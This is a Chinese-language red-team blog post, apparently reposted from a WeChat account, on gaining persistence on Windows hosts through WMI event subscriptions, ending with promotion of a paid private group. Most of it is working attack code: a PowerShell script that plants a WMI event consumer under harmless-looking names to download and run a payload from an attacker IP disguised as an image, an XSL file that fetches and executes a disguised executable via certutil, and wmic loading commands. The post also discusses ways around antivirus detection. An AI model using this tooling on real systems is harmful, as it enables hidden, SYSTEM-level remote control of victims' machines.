Windows 单机权限维持 [ wmi事件利用 ]

  • A+
所属分类:安全文章

Windows 单机权限维持 [ wmi事件利用 ]


0x01 模拟环境

IIS85-CN 192.168.3.5  windows 2012r2 64位

IIS10-CN 192.168.3.22 windows 2016   64位


0x02 首先,beacon 上线

    关于wmi事件是个什么东西,此次不多做说明,我们还是暂时侧重在实际利用上,首先,准备好相应的 ps payload,特别注意,此处是直接用64位的 ps payload,因为目标是64位系统,默认32位ps payload在2012r2之后的系统中运行时可能会有问题,所以建议直接用64位的

http://192.168.3.68:80/logo.gif

Windows 单机权限维持 [ wmi事件利用 ]

Windows 单机权限维持 [ wmi事件利用 ]

    

    如下是 WMI-Persistence.ps1 脚本,代码非常简单,三个函数分别是 插入指定wmi事件,删除指定wmi事件,然后查询wmi事件,需要改的地方就一处,加粗的远程payload地址,当然,事件名也可以改成自己想要的任何名称,不过即使不改也没啥太大关系,一眼看不太出来

<#

Credits to @mattifestion for his awesome work on WMI and Powershell Fileless Persistence.  This script is an adaptation of his work.

#>


function Install-Persistence{


    $Payload = "((new-object net.webclient).downloadstring('http://192.168.3.68:80/logo.gif'))"

    $EventFilterName = 'Cleanup'

    $EventConsumerName = 'DataCleanup'

    $finalPayload = "powershell.exe -nop -c `"IEX $Payload`""


    # Create event filter

    $EventFilterArgs = @{

        EventNamespace = 'root/cimv2'

        Name = $EventFilterName

        Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"

        QueryLanguage = 'WQL'

    }


    $Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments $EventFilterArgs


    # Create CommandLineEventConsumer

    $CommandLineConsumerArgs = @{

        Name = $EventConsumerName

        CommandLineTemplate = $finalPayload

    }

    $Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments $CommandLineConsumerArgs


    # Create FilterToConsumerBinding

    $FilterToConsumerArgs = @{

        Filter = $Filter

        Consumer = $Consumer

    }

    $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments $FilterToConsumerArgs


    #Confirm the Event Filter was created

    $EventCheck = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = '$EventFilterName'"

    if ($EventCheck -ne $null) {

        Write-Host "Event Filter $EventFilterName successfully written to host"

    }


    #Confirm the Event Consumer was created

    $ConsumerCheck = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = '$EventConsumerName'"

    if ($ConsumerCheck -ne $null) {

        Write-Host "Event Consumer $EventConsumerName successfully written to host"

    }


    #Confirm the FiltertoConsumer was created

    $BindingCheck = Get-WmiObject -Namespace root/subscription -Class __FilterToConsumerBinding -Filter "Filter = ""__eventfilter.name='$EventFilterName'"""

    if ($BindingCheck -ne $null){

        Write-Host "Filter To Consumer Binding successfully written to host"

    }


}


function Remove-Persistence{

    $EventFilterName = 'Cleanup'

    $EventConsumerName = 'DataCleanup'


    # Clean up Code - Comment this code out when you are installing persistence otherwise it will


    $EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = '$EventConsumerName'"

    $EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = '$EventFilterName'"

    $FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding"


    $FilterConsumerBindingToCleanup | Remove-WmiObject

    $EventConsumerToCleanup | Remove-WmiObject

    $EventFilterToCleanup | Remove-WmiObject


}


function Check-WMI{

    Write-Host "Showing All Root Event Filters"

    Get-WmiObject -Namespace root/subscription -Class __EventFilter


    Write-Host "Showing All CommandLine Event Consumers"

    Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer


    Write-Host "Showing All Filter to Consumer Bindings"

    Get-WmiObject -Namespace root/subscription -Class __FilterToConsumerBinding

}


    开始插入事件,正常插入成功后,一旦目标再次重启系统,管理员[administrator]正常登录,稍等片刻 [ 2016下可能要稍微多等会儿 ]当系统在后台轮询到我们的payload事件后,便会触发执行

# powershell -exec bypass

PS > Import-Module .WMI-Persistence.ps1

PS > Install-Persistence

PS > Check-WMI

Windows 单机权限维持 [ wmi事件利用 ]

随之,system权限的beacon被正常弹回

Windows 单机权限维持 [ wmi事件利用 ]


0x03 其次,自定义后门上线

    上面只是大致说明了下,如何利用wmi事件实现beacon的简单上线,接着,我们再来看下如何实现自定义上线,此处,图方便,我们就直接用wmic来远程加载执行即可,最好把马重新给个后缀,目的就是为了避免一些非常简单的静态检测

http://192.168.3.68:80/load.jpg 

Windows 单机权限维持 [ wmi事件利用 ]


wmi.xsl 实现的功能非常简单,即 certutil下载者

<?xml version='1.0'?>

<stylesheet

xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"

xmlns:user="placeholder"

version="1.0">

<output method="text"/>

    <ms:script implements-prefix="user" language="JScript">

    <![CDATA[

    var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c certutil -urlcache -split -f http://192.168.3.68:80/load.jpg %temp%/load.exe & %temp%/load.exe & certutil.exe -urlcache -split -f http://192.168.3.68:80/load.jpg delete",0);

    ]]> </ms:script>

</stylesheet>


接着,修改WMI-Persistence.ps1 脚本,只需把payload部分换下就行,别的都不需要动

# wmic os get /FORMAT:"http://192.168.3.68:80/wmi.xsl"

Windows 单机权限维持 [ wmi事件利用 ]


之后,继续像上面一样,在目标机器中正常插入wmi事件,等待目标重启系统,administrator 正常登录,稍等片刻,便会看到我们system权限后门正常上线,如下

powershell -exec bypass

PS > Import-Module .WMI-Persistence.ps1

PS > Install-Persistence

PS > Check-WMI

PS > Remove-Persistence  用完以后记得随手删掉

Windows 单机权限维持 [ wmi事件利用 ]


小结:

可以看到,默认情况下回来的shell直接就是system权限,如果没记错的话,大致原理就是系统会在后台一直不停的轮询wmi事件,当轮到我们的payload事件时就会触发执行上线,因为payload是藏到wmi事件里的,一般情况下,很难查找,隐蔽性相对高了不少[ 不过值得注意的是,事件本身虽然隐蔽,但触发payload执行的方式就不一定了],只要payload事件没被发现,检测到或杀掉,通常情况下,shell也不会轻易掉,至于wmi事件是个什么东西,篇幅限制,此处就不多做说明了,大家有兴趣的话可自行谷歌了解,另外,文中执行payload [注: 此处只是个简单的demo,实际中大家可根据自己的想法随意灵活变通]的方式对某些杀软来讲是没有任何意义的,比如,360,因为它肯定会依次拦截certutil.exe,powershell.exe, wmic.exe 等等一系列可以用来远程加载执行的进程,这些全部都是会直接触发报警的点,不过,这也仅仅是国内的杀软会这么干,并不代表所有杀软都肯定会拦,关于如何突破这些点,待进一步学习后,再做补充说明,再次重申,一篇简短的文章绝不可能解决实际中的所有问题,顶多也只是个方向,至于如何更深度[比如,真正的无痕执行...]完美的利用,那才是弟兄们自己真正该思考的问题,此处仅作入门科普之用,祝好运😊


    确实有些日子没上公众号了,看到有很多弟兄留言说,想进密圈,让我优惠点,其实这本身完全没什么问题,自己也从来没指望这个给自己挣多少钱,事实上也确实没挣什么钱,了解我的弟兄都知道,不管是个人公众号还是密圈也基本上不做过任何公开推广 ,一年多了,公众号的人数也就停留在3000左右,其实,自己也从不在乎人的多少,人多就意为着乱,什么乱七八糟的杂碎都会有,非常不利用公众号的纯净,毕竟,又不是要靠这个怎么样,就是单单想通过这种平台认识更多跟自己有同样想法的弟兄而已,包括密圈也是,自己只是想安安静静认认真真的做点真正喜欢的事情,顺手方便大家一起学习交流而已,初衷很单纯,自己也会一如既往的坚持住,只要是能长久坚持认真做事,人品靠谱的弟兄,个人一律欢迎,钱不算问题

    

    另一方面,也是想通过价格直接过滤掉一部分乱七八糟的人[ 我非常清楚心态浮躁的人看到这个价格的一瞬间心里在想什么,没错,我就是想把这部分人直接过滤掉 ],说到这里,多说一句,如果您来这儿[不管是个人公众号还是密圈] 的目的另有所图,请立即离开,如果您认为您自己是什么乱七八糟的客或是什么帽子之类的,请立即离开,自己从来不了解那些,也极度反感别人在我面前提那些东西,不为别的,单单只是感觉有些恶心,如果您是媒体,也请离开,这里统统不需要,如果您就是为了来偷资料的,请直接在此公众号中联系我本人即可,所以,为了大家都好,也为了后续尽可能少一些不必要的麻烦,请理解,万分感谢,确实,自己的公众号可能和其它的商业公众号不太一样,个人色彩稍微浓厚了一点,曾经某个人说了一句话,一直到现在都深刻铭记着,直到现在也时常用它来告诫自己 "要么忍,要么滚


    不知不觉,已退伍七年,短暂回首,思绪万千,部队教会了如何在战场上尽快结果敌人保全自己,以及如何在真正的逆境下学会生存,至今为止,我也一直坚持把这种理念延续在自己的实际工作中,确实受益良多


    曾经有个朋友跟我说过, "很正常,优秀本来就只属于极小的一撮人", 很久之后,我理解了,行吧,废话就先到这儿吧


    感谢上帝的礼物,祝 姑娘生日快乐 


    密圈已适当优惠,会一直持续到明早,有需要的弟兄请尽快,乱七八糟的人就不要来了,踢的让人心烦,欢迎弟兄们转发留言 !

     

Windows 单机权限维持 [ wmi事件利用 ]

    更多更优质的精品原创实用技术干货分享,以及和众多资深apt,红队玩家一起深度无缝交流,欢迎微信扫码加入小密圈,另外,关于本文完整pdf原件现也已分享到自己密圈中,我们会在那里一直等你

Windows 单机权限维持 [ wmi事件利用 ]


        


本文始发于微信公众号(红队防线):Windows 单机权限维持 [ wmi事件利用 ]

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: